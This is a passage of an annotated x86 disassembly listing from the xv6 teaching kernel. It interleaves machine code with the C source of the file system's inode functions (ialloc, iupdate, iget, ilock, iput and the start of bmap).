801015d0: 8d 55 dc lea -0x24(%ebp),%edx
801015d3: 89 54 24 04 mov %edx,0x4(%esp)
801015d7: 89 04 24 mov %eax,(%esp)
801015da: e8 12 fd ff ff call 801012f1 <readsb>
for(inum = 1; inum < sb.ninodes; inum++){
801015df: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp)
801015e6: e9 98 00 00 00 jmp 80101683 <ialloc+0xc3>
bp = bread(dev, IBLOCK(inum));
801015eb: 8b 45 f4 mov -0xc(%ebp),%eax
801015ee: c1 e8 03 shr $0x3,%eax
801015f1: 83 c0 02 add $0x2,%eax
801015f4: 89 44 24 04 mov %eax,0x4(%esp)
801015f8: 8b 45 08 mov 0x8(%ebp),%eax
801015fb: 89 04 24 mov %eax,(%esp)
801015fe: e8 a3 eb ff ff call 801001a6 <bread>
80101603: 89 45 f0 mov %eax,-0x10(%ebp)
dip = (struct dinode*)bp->data + inum%IPB;
80101606: 8b 45 f0 mov -0x10(%ebp),%eax
80101609: 8d 50 18 lea 0x18(%eax),%edx
8010160c: 8b 45 f4 mov -0xc(%ebp),%eax
8010160f: 83 e0 07 and $0x7,%eax
80101612: c1 e0 06 shl $0x6,%eax
80101615: 01 d0 add %edx,%eax
80101617: 89 45 ec mov %eax,-0x14(%ebp)
if(dip->type == 0){ // a free inode
8010161a: 8b 45 ec mov -0x14(%ebp),%eax
8010161d: 0f b7 00 movzwl (%eax),%eax
80101620: 66 85 c0 test %ax,%ax
80101623: 75 4f jne 80101674 <ialloc+0xb4>
memset(dip, 0, sizeof(*dip));
80101625: c7 44 24 08 40 00 00 movl $0x40,0x8(%esp)
8010162c: 00
8010162d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80101634: 00
80101635: 8b 45 ec mov -0x14(%ebp),%eax
80101638: 89 04 24 mov %eax,(%esp)
8010163b: e8 25 3a 00 00 call 80105065 <memset>
dip->type = type;
80101640: 8b 45 ec mov -0x14(%ebp),%eax
80101643: 0f b7 55 d4 movzwl -0x2c(%ebp),%edx
80101647: 66 89 10 mov %dx,(%eax)
log_write(bp); // mark it allocated on the disk
8010164a: 8b 45 f0 mov -0x10(%ebp),%eax
8010164d: 89 04 24 mov %eax,(%esp)
80101650: e8 c6 1f 00 00 call 8010361b <log_write>
brelse(bp);
80101655: 8b 45 f0 mov -0x10(%ebp),%eax
80101658: 89 04 24 mov %eax,(%esp)
8010165b: e8 b7 eb ff ff call 80100217 <brelse>
return iget(dev, inum);
80101660: 8b 45 f4 mov -0xc(%ebp),%eax
80101663: 89 44 24 04 mov %eax,0x4(%esp)
80101667: 8b 45 08 mov 0x8(%ebp),%eax
8010166a: 89 04 24 mov %eax,(%esp)
8010166d: e8 e5 00 00 00 call 80101757 <iget>
80101672: eb 29 jmp 8010169d <ialloc+0xdd>
}
brelse(bp);
80101674: 8b 45 f0 mov -0x10(%ebp),%eax
80101677: 89 04 24 mov %eax,(%esp)
8010167a: e8 98 eb ff ff call 80100217 <brelse>
struct dinode *dip;
struct superblock sb;
readsb(dev, &sb);
for(inum = 1; inum < sb.ninodes; inum++){
8010167f: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80101683: 8b 55 f4 mov -0xc(%ebp),%edx
80101686: 8b 45 e4 mov -0x1c(%ebp),%eax
80101689: 39 c2 cmp %eax,%edx
8010168b: 0f 82 5a ff ff ff jb 801015eb <ialloc+0x2b>
brelse(bp);
return iget(dev, inum);
}
brelse(bp);
}
panic("ialloc: no inodes");
80101691: c7 04 24 69 87 10 80 movl $0x80108769,(%esp)
80101698: e8 9d ee ff ff call 8010053a <panic>
}
8010169d: c9 leave
8010169e: c3 ret
8010169f <iupdate>:
// Copy a modified in-memory inode to disk.
void
iupdate(struct inode *ip)
{
8010169f: 55 push %ebp
801016a0: 89 e5 mov %esp,%ebp
801016a2: 83 ec 28 sub $0x28,%esp
struct buf *bp;
struct dinode *dip;
bp = bread(ip->dev, IBLOCK(ip->inum));
801016a5: 8b 45 08 mov 0x8(%ebp),%eax
801016a8: 8b 40 04 mov 0x4(%eax),%eax
801016ab: c1 e8 03 shr $0x3,%eax
801016ae: 8d 50 02 lea 0x2(%eax),%edx
801016b1: 8b 45 08 mov 0x8(%ebp),%eax
801016b4: 8b 00 mov (%eax),%eax
801016b6: 89 54 24 04 mov %edx,0x4(%esp)
801016ba: 89 04 24 mov %eax,(%esp)
801016bd: e8 e4 ea ff ff call 801001a6 <bread>
801016c2: 89 45 f4 mov %eax,-0xc(%ebp)
dip = (struct dinode*)bp->data + ip->inum%IPB;
801016c5: 8b 45 f4 mov -0xc(%ebp),%eax
801016c8: 8d 50 18 lea 0x18(%eax),%edx
801016cb: 8b 45 08 mov 0x8(%ebp),%eax
801016ce: 8b 40 04 mov 0x4(%eax),%eax
801016d1: 83 e0 07 and $0x7,%eax
801016d4: c1 e0 06 shl $0x6,%eax
801016d7: 01 d0 add %edx,%eax
801016d9: 89 45 f0 mov %eax,-0x10(%ebp)
dip->type = ip->type;
801016dc: 8b 45 08 mov 0x8(%ebp),%eax
801016df: 0f b7 50 10 movzwl 0x10(%eax),%edx
801016e3: 8b 45 f0 mov -0x10(%ebp),%eax
801016e6: 66 89 10 mov %dx,(%eax)
dip->major = ip->major;
801016e9: 8b 45 08 mov 0x8(%ebp),%eax
801016ec: 0f b7 50 12 movzwl 0x12(%eax),%edx
801016f0: 8b 45 f0 mov -0x10(%ebp),%eax
801016f3: 66 89 50 02 mov %dx,0x2(%eax)
dip->minor = ip->minor;
801016f7: 8b 45 08 mov 0x8(%ebp),%eax
801016fa: 0f b7 50 14 movzwl 0x14(%eax),%edx
801016fe: 8b 45 f0 mov -0x10(%ebp),%eax
80101701: 66 89 50 04 mov %dx,0x4(%eax)
dip->nlink = ip->nlink;
80101705: 8b 45 08 mov 0x8(%ebp),%eax
80101708: 0f b7 50 16 movzwl 0x16(%eax),%edx
8010170c: 8b 45 f0 mov -0x10(%ebp),%eax
8010170f: 66 89 50 06 mov %dx,0x6(%eax)
dip->size = ip->size;
80101713: 8b 45 08 mov 0x8(%ebp),%eax
80101716: 8b 50 18 mov 0x18(%eax),%edx
80101719: 8b 45 f0 mov -0x10(%ebp),%eax
8010171c: 89 50 08 mov %edx,0x8(%eax)
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
8010171f: 8b 45 08 mov 0x8(%ebp),%eax
80101722: 8d 50 1c lea 0x1c(%eax),%edx
80101725: 8b 45 f0 mov -0x10(%ebp),%eax
80101728: 83 c0 0c add $0xc,%eax
8010172b: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp)
80101732: 00
80101733: 89 54 24 04 mov %edx,0x4(%esp)
80101737: 89 04 24 mov %eax,(%esp)
8010173a: e8 f5 39 00 00 call 80105134 <memmove>
log_write(bp);
8010173f: 8b 45 f4 mov -0xc(%ebp),%eax
80101742: 89 04 24 mov %eax,(%esp)
80101745: e8 d1 1e 00 00 call 8010361b <log_write>
brelse(bp);
8010174a: 8b 45 f4 mov -0xc(%ebp),%eax
8010174d: 89 04 24 mov %eax,(%esp)
80101750: e8 c2 ea ff ff call 80100217 <brelse>
}
80101755: c9 leave
80101756: c3 ret
80101757 <iget>:
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
80101757: 55 push %ebp
80101758: 89 e5 mov %esp,%ebp
8010175a: 83 ec 28 sub $0x28,%esp
struct inode *ip, *empty;
acquire(&icache.lock);
8010175d: c7 04 24 40 12 11 80 movl $0x80111240,(%esp)
80101764: e8 a8 36 00 00 call 80104e11 <acquire>
// Is the inode already cached?
empty = 0;
80101769: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
80101770: c7 45 f4 74 12 11 80 movl $0x80111274,-0xc(%ebp)
80101777: eb 59 jmp 801017d2 <iget+0x7b>
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
80101779: 8b 45 f4 mov -0xc(%ebp),%eax
8010177c: 8b 40 08 mov 0x8(%eax),%eax
8010177f: 85 c0 test %eax,%eax
80101781: 7e 35 jle 801017b8 <iget+0x61>
80101783: 8b 45 f4 mov -0xc(%ebp),%eax
80101786: 8b 00 mov (%eax),%eax
80101788: 3b 45 08 cmp 0x8(%ebp),%eax
8010178b: 75 2b jne 801017b8 <iget+0x61>
8010178d: 8b 45 f4 mov -0xc(%ebp),%eax
80101790: 8b 40 04 mov 0x4(%eax),%eax
80101793: 3b 45 0c cmp 0xc(%ebp),%eax
80101796: 75 20 jne 801017b8 <iget+0x61>
ip->ref++;
80101798: 8b 45 f4 mov -0xc(%ebp),%eax
8010179b: 8b 40 08 mov 0x8(%eax),%eax
8010179e: 8d 50 01 lea 0x1(%eax),%edx
801017a1: 8b 45 f4 mov -0xc(%ebp),%eax
801017a4: 89 50 08 mov %edx,0x8(%eax)
release(&icache.lock);
801017a7: c7 04 24 40 12 11 80 movl $0x80111240,(%esp)
801017ae: e8 c0 36 00 00 call 80104e73 <release>
return ip;
801017b3: 8b 45 f4 mov -0xc(%ebp),%eax
801017b6: eb 6f jmp 80101827 <iget+0xd0>
}
if(empty == 0 && ip->ref == 0) // Remember empty slot.
801017b8: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801017bc: 75 10 jne 801017ce <iget+0x77>
801017be: 8b 45 f4 mov -0xc(%ebp),%eax
801017c1: 8b 40 08 mov 0x8(%eax),%eax
801017c4: 85 c0 test %eax,%eax
801017c6: 75 06 jne 801017ce <iget+0x77>
empty = ip;
801017c8: 8b 45 f4 mov -0xc(%ebp),%eax
801017cb: 89 45 f0 mov %eax,-0x10(%ebp)
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
801017ce: 83 45 f4 50 addl $0x50,-0xc(%ebp)
801017d2: 81 7d f4 14 22 11 80 cmpl $0x80112214,-0xc(%ebp)
801017d9: 72 9e jb 80101779 <iget+0x22>
if(empty == 0 && ip->ref == 0) // Remember empty slot.
empty = ip;
}
// Recycle an inode cache entry.
if(empty == 0)
801017db: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801017df: 75 0c jne 801017ed <iget+0x96>
panic("iget: no inodes");
801017e1: c7 04 24 7b 87 10 80 movl $0x8010877b,(%esp)
801017e8: e8 4d ed ff ff call 8010053a <panic>
ip = empty;
801017ed: 8b 45 f0 mov -0x10(%ebp),%eax
801017f0: 89 45 f4 mov %eax,-0xc(%ebp)
ip->dev = dev;
801017f3: 8b 45 f4 mov -0xc(%ebp),%eax
801017f6: 8b 55 08 mov 0x8(%ebp),%edx
801017f9: 89 10 mov %edx,(%eax)
ip->inum = inum;
801017fb: 8b 45 f4 mov -0xc(%ebp),%eax
801017fe: 8b 55 0c mov 0xc(%ebp),%edx
80101801: 89 50 04 mov %edx,0x4(%eax)
ip->ref = 1;
80101804: 8b 45 f4 mov -0xc(%ebp),%eax
80101807: c7 40 08 01 00 00 00 movl $0x1,0x8(%eax)
ip->flags = 0;
8010180e: 8b 45 f4 mov -0xc(%ebp),%eax
80101811: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
release(&icache.lock);
80101818: c7 04 24 40 12 11 80 movl $0x80111240,(%esp)
8010181f: e8 4f 36 00 00 call 80104e73 <release>
return ip;
80101824: 8b 45 f4 mov -0xc(%ebp),%eax
}
80101827: c9 leave
80101828: c3 ret
80101829 <idup>:
// Increment reference count for ip.
// Returns ip to enable ip = idup(ip1) idiom.
struct inode*
idup(struct inode *ip)
{
80101829: 55 push %ebp
8010182a: 89 e5 mov %esp,%ebp
8010182c: 83 ec 18 sub $0x18,%esp
acquire(&icache.lock);
8010182f: c7 04 24 40 12 11 80 movl $0x80111240,(%esp)
80101836: e8 d6 35 00 00 call 80104e11 <acquire>
ip->ref++;
8010183b: 8b 45 08 mov 0x8(%ebp),%eax
8010183e: 8b 40 08 mov 0x8(%eax),%eax
80101841: 8d 50 01 lea 0x1(%eax),%edx
80101844: 8b 45 08 mov 0x8(%ebp),%eax
80101847: 89 50 08 mov %edx,0x8(%eax)
release(&icache.lock);
8010184a: c7 04 24 40 12 11 80 movl $0x80111240,(%esp)
80101851: e8 1d 36 00 00 call 80104e73 <release>
return ip;
80101856: 8b 45 08 mov 0x8(%ebp),%eax
}
80101859: c9 leave
8010185a: c3 ret
8010185b <ilock>:
// Lock the given inode.
// Reads the inode from disk if necessary.
void
ilock(struct inode *ip)
{
8010185b: 55 push %ebp
8010185c: 89 e5 mov %esp,%ebp
8010185e: 83 ec 28 sub $0x28,%esp
struct buf *bp;
struct dinode *dip;
if(ip == 0 || ip->ref < 1)
80101861: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
80101865: 74 0a je 80101871 <ilock+0x16>
80101867: 8b 45 08 mov 0x8(%ebp),%eax
8010186a: 8b 40 08 mov 0x8(%eax),%eax
8010186d: 85 c0 test %eax,%eax
8010186f: 7f 0c jg 8010187d <ilock+0x22>
panic("ilock");
80101871: c7 04 24 8b 87 10 80 movl $0x8010878b,(%esp)
80101878: e8 bd ec ff ff call 8010053a <panic>
acquire(&icache.lock);
8010187d: c7 04 24 40 12 11 80 movl $0x80111240,(%esp)
80101884: e8 88 35 00 00 call 80104e11 <acquire>
while(ip->flags & I_BUSY)
80101889: eb 13 jmp 8010189e <ilock+0x43>
sleep(ip, &icache.lock);
8010188b: c7 44 24 04 40 12 11 movl $0x80111240,0x4(%esp)
80101892: 80
80101893: 8b 45 08 mov 0x8(%ebp),%eax
80101896: 89 04 24 mov %eax,(%esp)
80101899: e8 a9 32 00 00 call 80104b47 <sleep>
if(ip == 0 || ip->ref < 1)
panic("ilock");
acquire(&icache.lock);
while(ip->flags & I_BUSY)
8010189e: 8b 45 08 mov 0x8(%ebp),%eax
801018a1: 8b 40 0c mov 0xc(%eax),%eax
801018a4: 83 e0 01 and $0x1,%eax
801018a7: 85 c0 test %eax,%eax
801018a9: 75 e0 jne 8010188b <ilock+0x30>
sleep(ip, &icache.lock);
ip->flags |= I_BUSY;
801018ab: 8b 45 08 mov 0x8(%ebp),%eax
801018ae: 8b 40 0c mov 0xc(%eax),%eax
801018b1: 83 c8 01 or $0x1,%eax
801018b4: 89 c2 mov %eax,%edx
801018b6: 8b 45 08 mov 0x8(%ebp),%eax
801018b9: 89 50 0c mov %edx,0xc(%eax)
release(&icache.lock);
801018bc: c7 04 24 40 12 11 80 movl $0x80111240,(%esp)
801018c3: e8 ab 35 00 00 call 80104e73 <release>
if(!(ip->flags & I_VALID)){
801018c8: 8b 45 08 mov 0x8(%ebp),%eax
801018cb: 8b 40 0c mov 0xc(%eax),%eax
801018ce: 83 e0 02 and $0x2,%eax
801018d1: 85 c0 test %eax,%eax
801018d3: 0f 85 ce 00 00 00 jne 801019a7 <ilock+0x14c>
bp = bread(ip->dev, IBLOCK(ip->inum));
801018d9: 8b 45 08 mov 0x8(%ebp),%eax
801018dc: 8b 40 04 mov 0x4(%eax),%eax
801018df: c1 e8 03 shr $0x3,%eax
801018e2: 8d 50 02 lea 0x2(%eax),%edx
801018e5: 8b 45 08 mov 0x8(%ebp),%eax
801018e8: 8b 00 mov (%eax),%eax
801018ea: 89 54 24 04 mov %edx,0x4(%esp)
801018ee: 89 04 24 mov %eax,(%esp)
801018f1: e8 b0 e8 ff ff call 801001a6 <bread>
801018f6: 89 45 f4 mov %eax,-0xc(%ebp)
dip = (struct dinode*)bp->data + ip->inum%IPB;
801018f9: 8b 45 f4 mov -0xc(%ebp),%eax
801018fc: 8d 50 18 lea 0x18(%eax),%edx
801018ff: 8b 45 08 mov 0x8(%ebp),%eax
80101902: 8b 40 04 mov 0x4(%eax),%eax
80101905: 83 e0 07 and $0x7,%eax
80101908: c1 e0 06 shl $0x6,%eax
8010190b: 01 d0 add %edx,%eax
8010190d: 89 45 f0 mov %eax,-0x10(%ebp)
ip->type = dip->type;
80101910: 8b 45 f0 mov -0x10(%ebp),%eax
80101913: 0f b7 10 movzwl (%eax),%edx
80101916: 8b 45 08 mov 0x8(%ebp),%eax
80101919: 66 89 50 10 mov %dx,0x10(%eax)
ip->major = dip->major;
8010191d: 8b 45 f0 mov -0x10(%ebp),%eax
80101920: 0f b7 50 02 movzwl 0x2(%eax),%edx
80101924: 8b 45 08 mov 0x8(%ebp),%eax
80101927: 66 89 50 12 mov %dx,0x12(%eax)
ip->minor = dip->minor;
8010192b: 8b 45 f0 mov -0x10(%ebp),%eax
8010192e: 0f b7 50 04 movzwl 0x4(%eax),%edx
80101932: 8b 45 08 mov 0x8(%ebp),%eax
80101935: 66 89 50 14 mov %dx,0x14(%eax)
ip->nlink = dip->nlink;
80101939: 8b 45 f0 mov -0x10(%ebp),%eax
8010193c: 0f b7 50 06 movzwl 0x6(%eax),%edx
80101940: 8b 45 08 mov 0x8(%ebp),%eax
80101943: 66 89 50 16 mov %dx,0x16(%eax)
ip->size = dip->size;
80101947: 8b 45 f0 mov -0x10(%ebp),%eax
8010194a: 8b 50 08 mov 0x8(%eax),%edx
8010194d: 8b 45 08 mov 0x8(%ebp),%eax
80101950: 89 50 18 mov %edx,0x18(%eax)
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
80101953: 8b 45 f0 mov -0x10(%ebp),%eax
80101956: 8d 50 0c lea 0xc(%eax),%edx
80101959: 8b 45 08 mov 0x8(%ebp),%eax
8010195c: 83 c0 1c add $0x1c,%eax
8010195f: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp)
80101966: 00
80101967: 89 54 24 04 mov %edx,0x4(%esp)
8010196b: 89 04 24 mov %eax,(%esp)
8010196e: e8 c1 37 00 00 call 80105134 <memmove>
brelse(bp);
80101973: 8b 45 f4 mov -0xc(%ebp),%eax
80101976: 89 04 24 mov %eax,(%esp)
80101979: e8 99 e8 ff ff call 80100217 <brelse>
ip->flags |= I_VALID;
8010197e: 8b 45 08 mov 0x8(%ebp),%eax
80101981: 8b 40 0c mov 0xc(%eax),%eax
80101984: 83 c8 02 or $0x2,%eax
80101987: 89 c2 mov %eax,%edx
80101989: 8b 45 08 mov 0x8(%ebp),%eax
8010198c: 89 50 0c mov %edx,0xc(%eax)
if(ip->type == 0)
8010198f: 8b 45 08 mov 0x8(%ebp),%eax
80101992: 0f b7 40 10 movzwl 0x10(%eax),%eax
80101996: 66 85 c0 test %ax,%ax
80101999: 75 0c jne 801019a7 <ilock+0x14c>
panic("ilock: no type");
8010199b: c7 04 24 91 87 10 80 movl $0x80108791,(%esp)
801019a2: e8 93 eb ff ff call 8010053a <panic>
}
}
801019a7: c9 leave
801019a8: c3 ret
801019a9 <iunlock>:
// Unlock the given inode.
void
iunlock(struct inode *ip)
{
801019a9: 55 push %ebp
801019aa: 89 e5 mov %esp,%ebp
801019ac: 83 ec 18 sub $0x18,%esp
if(ip == 0 || !(ip->flags & I_BUSY) || ip->ref < 1)
801019af: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
801019b3: 74 17 je 801019cc <iunlock+0x23>
801019b5: 8b 45 08 mov 0x8(%ebp),%eax
801019b8: 8b 40 0c mov 0xc(%eax),%eax
801019bb: 83 e0 01 and $0x1,%eax
801019be: 85 c0 test %eax,%eax
801019c0: 74 0a je 801019cc <iunlock+0x23>
801019c2: 8b 45 08 mov 0x8(%ebp),%eax
801019c5: 8b 40 08 mov 0x8(%eax),%eax
801019c8: 85 c0 test %eax,%eax
801019ca: 7f 0c jg 801019d8 <iunlock+0x2f>
panic("iunlock");
801019cc: c7 04 24 a0 87 10 80 movl $0x801087a0,(%esp)
801019d3: e8 62 eb ff ff call 8010053a <panic>
acquire(&icache.lock);
801019d8: c7 04 24 40 12 11 80 movl $0x80111240,(%esp)
801019df: e8 2d 34 00 00 call 80104e11 <acquire>
ip->flags &= ~I_BUSY;
801019e4: 8b 45 08 mov 0x8(%ebp),%eax
801019e7: 8b 40 0c mov 0xc(%eax),%eax
801019ea: 83 e0 fe and $0xfffffffe,%eax
801019ed: 89 c2 mov %eax,%edx
801019ef: 8b 45 08 mov 0x8(%ebp),%eax
801019f2: 89 50 0c mov %edx,0xc(%eax)
wakeup(ip);
801019f5: 8b 45 08 mov 0x8(%ebp),%eax
801019f8: 89 04 24 mov %eax,(%esp)
801019fb: e8 20 32 00 00 call 80104c20 <wakeup>
release(&icache.lock);
80101a00: c7 04 24 40 12 11 80 movl $0x80111240,(%esp)
80101a07: e8 67 34 00 00 call 80104e73 <release>
}
80101a0c: c9 leave
80101a0d: c3 ret
80101a0e <iput>:
// to it, free the inode (and its content) on disk.
// All calls to iput() must be inside a transaction in
// case it has to free the inode.
void
iput(struct inode *ip)
{
80101a0e: 55 push %ebp
80101a0f: 89 e5 mov %esp,%ebp
80101a11: 83 ec 18 sub $0x18,%esp
acquire(&icache.lock);
80101a14: c7 04 24 40 12 11 80 movl $0x80111240,(%esp)
80101a1b: e8 f1 33 00 00 call 80104e11 <acquire>
if(ip->ref == 1 && (ip->flags & I_VALID) && ip->nlink == 0){
80101a20: 8b 45 08 mov 0x8(%ebp),%eax
80101a23: 8b 40 08 mov 0x8(%eax),%eax
80101a26: 83 f8 01 cmp $0x1,%eax
80101a29: 0f 85 93 00 00 00 jne 80101ac2 <iput+0xb4>
80101a2f: 8b 45 08 mov 0x8(%ebp),%eax
80101a32: 8b 40 0c mov 0xc(%eax),%eax
80101a35: 83 e0 02 and $0x2,%eax
80101a38: 85 c0 test %eax,%eax
80101a3a: 0f 84 82 00 00 00 je 80101ac2 <iput+0xb4>
80101a40: 8b 45 08 mov 0x8(%ebp),%eax
80101a43: 0f b7 40 16 movzwl 0x16(%eax),%eax
80101a47: 66 85 c0 test %ax,%ax
80101a4a: 75 76 jne 80101ac2 <iput+0xb4>
// inode has no links and no other references: truncate and free.
if(ip->flags & I_BUSY)
80101a4c: 8b 45 08 mov 0x8(%ebp),%eax
80101a4f: 8b 40 0c mov 0xc(%eax),%eax
80101a52: 83 e0 01 and $0x1,%eax
80101a55: 85 c0 test %eax,%eax
80101a57: 74 0c je 80101a65 <iput+0x57>
panic("iput busy");
80101a59: c7 04 24 a8 87 10 80 movl $0x801087a8,(%esp)
80101a60: e8 d5 ea ff ff call 8010053a <panic>
ip->flags |= I_BUSY;
80101a65: 8b 45 08 mov 0x8(%ebp),%eax
80101a68: 8b 40 0c mov 0xc(%eax),%eax
80101a6b: 83 c8 01 or $0x1,%eax
80101a6e: 89 c2 mov %eax,%edx
80101a70: 8b 45 08 mov 0x8(%ebp),%eax
80101a73: 89 50 0c mov %edx,0xc(%eax)
release(&icache.lock);
80101a76: c7 04 24 40 12 11 80 movl $0x80111240,(%esp)
80101a7d: e8 f1 33 00 00 call 80104e73 <release>
itrunc(ip);
80101a82: 8b 45 08 mov 0x8(%ebp),%eax
80101a85: 89 04 24 mov %eax,(%esp)
80101a88: e8 7d 01 00 00 call 80101c0a <itrunc>
ip->type = 0;
80101a8d: 8b 45 08 mov 0x8(%ebp),%eax
80101a90: 66 c7 40 10 00 00 movw $0x0,0x10(%eax)
iupdate(ip);
80101a96: 8b 45 08 mov 0x8(%ebp),%eax
80101a99: 89 04 24 mov %eax,(%esp)
80101a9c: e8 fe fb ff ff call 8010169f <iupdate>
acquire(&icache.lock);
80101aa1: c7 04 24 40 12 11 80 movl $0x80111240,(%esp)
80101aa8: e8 64 33 00 00 call 80104e11 <acquire>
ip->flags = 0;
80101aad: 8b 45 08 mov 0x8(%ebp),%eax
80101ab0: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
wakeup(ip);
80101ab7: 8b 45 08 mov 0x8(%ebp),%eax
80101aba: 89 04 24 mov %eax,(%esp)
80101abd: e8 5e 31 00 00 call 80104c20 <wakeup>
}
ip->ref--;
80101ac2: 8b 45 08 mov 0x8(%ebp),%eax
80101ac5: 8b 40 08 mov 0x8(%eax),%eax
80101ac8: 8d 50 ff lea -0x1(%eax),%edx
80101acb: 8b 45 08 mov 0x8(%ebp),%eax
80101ace: 89 50 08 mov %edx,0x8(%eax)
release(&icache.lock);
80101ad1: c7 04 24 40 12 11 80 movl $0x80111240,(%esp)
80101ad8: e8 96 33 00 00 call 80104e73 <release>
}
80101add: c9 leave
80101ade: c3 ret
80101adf <iunlockput>:
// Common idiom: unlock, then put.
void
iunlockput(struct inode *ip)
{
80101adf: 55 push %ebp
80101ae0: 89 e5 mov %esp,%ebp
80101ae2: 83 ec 18 sub $0x18,%esp
iunlock(ip);
80101ae5: 8b 45 08 mov 0x8(%ebp),%eax
80101ae8: 89 04 24 mov %eax,(%esp)
80101aeb: e8 b9 fe ff ff call 801019a9 <iunlock>
iput(ip);
80101af0: 8b 45 08 mov 0x8(%ebp),%eax
80101af3: 89 04 24 mov %eax,(%esp)
80101af6: e8 13 ff ff ff call 80101a0e <iput>
}
80101afb: c9 leave
80101afc: c3 ret
80101afd <bmap>:
// Return the disk block address of the nth block in inode ip.
// If there is no such block, bmap allocates one.
static uint
bmap(struct inode *ip, uint bn)
{
80101afd: 55 push %ebp
80101afe: 89 e5 mov %esp,%ebp
80101b00: 53 push %ebx
80101b01: 83 ec 24 sub $0x24,%esp
uint addr, *a;
struct buf *bp;
if(bn < NDIRECT){
80101b04: 83 7d 0c 0b cmpl $0xb,0xc(%ebp)
80101b08: 77 3e ja 80101b48 <bmap+0x4b>
if((addr = ip->addrs[bn]) == 0)
80101b0a: 8b 45 08 mov 0x8(%ebp),%eax
80101b0d: 8b 55 0c mov 0xc(%ebp),%edx
80101b10: 83 c2 04 add $0x4,%edx
80101b13: 8b 44 90 0c mov 0xc(%eax,%edx,4),%eax
80101b17: 89 45 f4 mov %eax,-0xc(%ebp)
80101b1a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80101b1e: 75 20 jne 80101b40 <bmap+0x43>
ip->addrs[bn] = addr = balloc(ip->dev);
80101b20: 8b 45 08 mov 0x8(%ebp),%eax
80101b23: 8b 00 mov (%eax),%eax
80101b25: 89 04 24 mov %eax,(%esp)
80101b28: e8 5b f8 ff ff call 80101388 <balloc>
80101b2d: 89 45 f4 mov %eax,-0xc(%ebp)
80101b30: 8b 45 08 mov 0x8(%ebp),%eax
80101b33: 8b 55 0c mov 0xc(%ebp),%edx
80101b36: 8d 4a 04 lea 0x4(%edx),%ecx
80101b39: 8b 55 f4 mov -0xc(%ebp),%edx
80101b3c: 89 54 88 0c mov %edx,0xc(%eax,%ecx,4)
return addr;
80101b40: 8b 45 f4 mov -0xc(%ebp),%eax
80101b43: e9 bc 00 00 00 jmp 80101c04 <bmap+0x107>
}
bn -= NDIRECT;
80101b48: 83 6d 0c 0c subl $0xc,0xc(%ebp)
if(bn < NINDIRECT){
80101b4c: 83 7d 0c 7f cmpl $0x7f,0xc(%ebp)
80101b50: 0f 87 a2 00 00 00 ja 80101bf8 <bmap+0xfb>
// Load indirect block, allocating if necessary.
if((addr = ip->addrs[NDIRECT]) == 0)
80101b56: 8b 45 08 mov 0x8(%ebp),%eax
80101b59: 8b 40 4c mov 0x4c(%eax),%eax
80101b5c: 89 45 f4 mov %eax,-0xc(%ebp)
80101b5f: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80101b63: 75 19 jne 80101b7e <bmap+0x81>
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
80101b65: 8b 45 08 mov 0x8(%ebp),%eax
80101b68: 8b 00 mov (%eax),%eax
80101b6a: 89 04 24 mov %eax,(%esp)
80101b6d: e8 16 f8 ff ff call 80101388 <balloc>
80101b72: 89 45 f4 mov %eax,-0xc(%ebp)
80101b75: 8b 45 08 mov 0x8(%ebp),%eax
80101b78: 8b 55 f4 mov -0xc(%ebp),%edx
80101b7b: 89 50 4c mov %edx,0x4c(%eax)
bp = bread(ip->dev, addr);
80101b7e: 8b 45 08 mov 0x8(%ebp),%eax
80101b81: 8b 00 mov (%eax),%eax
80101b83: 8b 55 f4 mov -0xc(%ebp),%edx
80101b86: 89 54 24 04 mov %edx,0x4(%esp)
80101b8a: 89 04 24 mov %eax,(%esp)
80101b8d: e8 14 e6 ff ff call 801001a6 <bread>
80101b92: 89 45 f0 mov %eax,-0x10(%ebp)
a = (uint*)bp->data;
80101b95: 8b 45 f0 mov -0x10(%ebp),%eax
80101b98: 83 c0 18 add $0x18,%eax
80101b9b: 89 45 ec mov %eax,-0x14(%ebp)
if((addr = a[bn]) == 0){
80101b9e: 8b 45 0c mov 0xc(%ebp),%eax
80101ba1: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80101ba8: 8b 45 ec mov -0x14(%ebp),%eax
80101bab: 01 d0 add %edx,%eax
80101bad: 8b 00 mov (%eax),%eax
80101baf: 89 45 f4 mov %eax,-0xc(%ebp)
80101bb2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80101bb6: 75 30 jne 80101be8 <bmap+0xeb>
a[bn] = addr = balloc(ip->dev);
80101bb8: 8b 45 0c mov 0xc(%ebp),%eax
80101bbb: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80101bc2: 8b 45 ec mov -0x14(%ebp),%eax
80101bc5: 8d 1c 02 lea (%edx,%eax,1),%ebx
80101bc8: 8b 45 08 mov 0x8(%ebp),%eax
80101bcb: 8b 00 mov (%eax),%eax
80101bcd: 89 04 24 mov %eax,(%esp)
80101bd0: e8 b3 f7 ff ff call 80101388 <balloc>
80101bd5: 89 45 f4 mov %eax,-0xc(%ebp)
80101bd8: 8b 45 f4 mov -0xc(%ebp),%eax
80101bdb: 89 03 mov %eax,(%ebx)
log_write(bp);
80101bdd: 8b 45 f0 mov -0x10(%ebp),%eax
80101be0: 89 04 24 mov %eax,(%esp)
80101be3: e8 33 1a 00 00 call 8010361b <log_write>
}
